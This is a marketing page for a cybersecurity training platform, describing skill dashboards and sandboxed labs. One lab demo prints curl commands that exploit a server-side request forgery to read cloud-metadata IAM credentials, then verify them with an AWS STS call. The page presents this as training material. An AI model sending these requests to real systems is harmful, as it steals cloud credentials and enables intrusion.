Measure what your team can actually do.
CyCube is a capability platform — browser labs, a live-fire range, skill diagnostics, and a researcher network behind one console. Not course completion. Proof.
- Baseline on day 0. Re-measure on day 30.
- Per-engineer view + per-team view.
- Exported to PDF or pushed to your BI.
The manager sees readiness. The trainee sees the path.
Both read the same skill events from opposite sides. Nothing is self-reported and nothing is graded on clicks.
What the manager sees.
One pane, every cohort. Every panel rolls up to a number a CISO can take to the board.
- Skill index
- Score 83 / 100. Cohort composite. Updates per artifact, not per click.
- Hours under load
- 2,383 hr measured. Time on actual targets, in a terminal rather than a video player.
- Course status
- 65 trainees live. Pending, in progress, and completed, per learner.
Every artifact, scored.
Sort by course, class, or trainee. Drill into any row for the per-engineer breakdown behind the number.
- Performance grid
- Per-engineer artifact scores. What they shipped, against the lab rubric, exportable to BI.
- Dimensions
- Course, class, trainee. Completion, score, duration, and instance distribution on one grid.
What the trainee sees.
Their score, their hours, their next on-deck challenge, and a path computed from cohort gaps.
- Your score
- 64 / 100, live. Composite of every artifact shipped. No quizzes, no clicks.
- Hours and progress
- 11 hr, 11% complete. Real time on real targets. Updates the moment work ships.
- Recommended journey
- A path, not a syllabus. Computed from where the learner is against where the cohort needs to be.
Browser labs. Real targets. No installs.
Each lab is a sandboxed environment with a real intrusion path. This one walks an SSRF in an internal service all the way to a cloud-metadata credential lift.
- ›README.md
- ›scope.txt
- ›internal-svc/
- › app.py
- › requirements.txt
- ›exploits/
- › ssrf.py
- ›writeup.md
$ curl http://internal-svc/fetch?url=http://example.com
{"ok": true, "body": "<html>..."}
$ curl http://internal-svc/fetch?url=http://169.254.169.254/latest/meta-data/
iam/
hostname
public-ipv4
...
$ curl http://internal-svc/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/lab-role
{
"AccessKeyId": "AKIA****REDACTED",
"SecretAccessKey": "****REDACTED",
"Token": "FwoGZX...",
"Expiration": "2026-04-25T18:42:11Z"
}
$ aws sts get-caller-identity- GETinternal-svc:8080200
- GET169.254.169.254200
- GETiam/security-credentials/200
- POSTsts.amazonaws.com200
What procurement is going to ask for.
Pilot in 14 days. Baselined skills by day 30.
Pick one module. We provision a tenant, baseline the cohort, run the first drill, and hand back a measured skill delta. Decide on the rest after.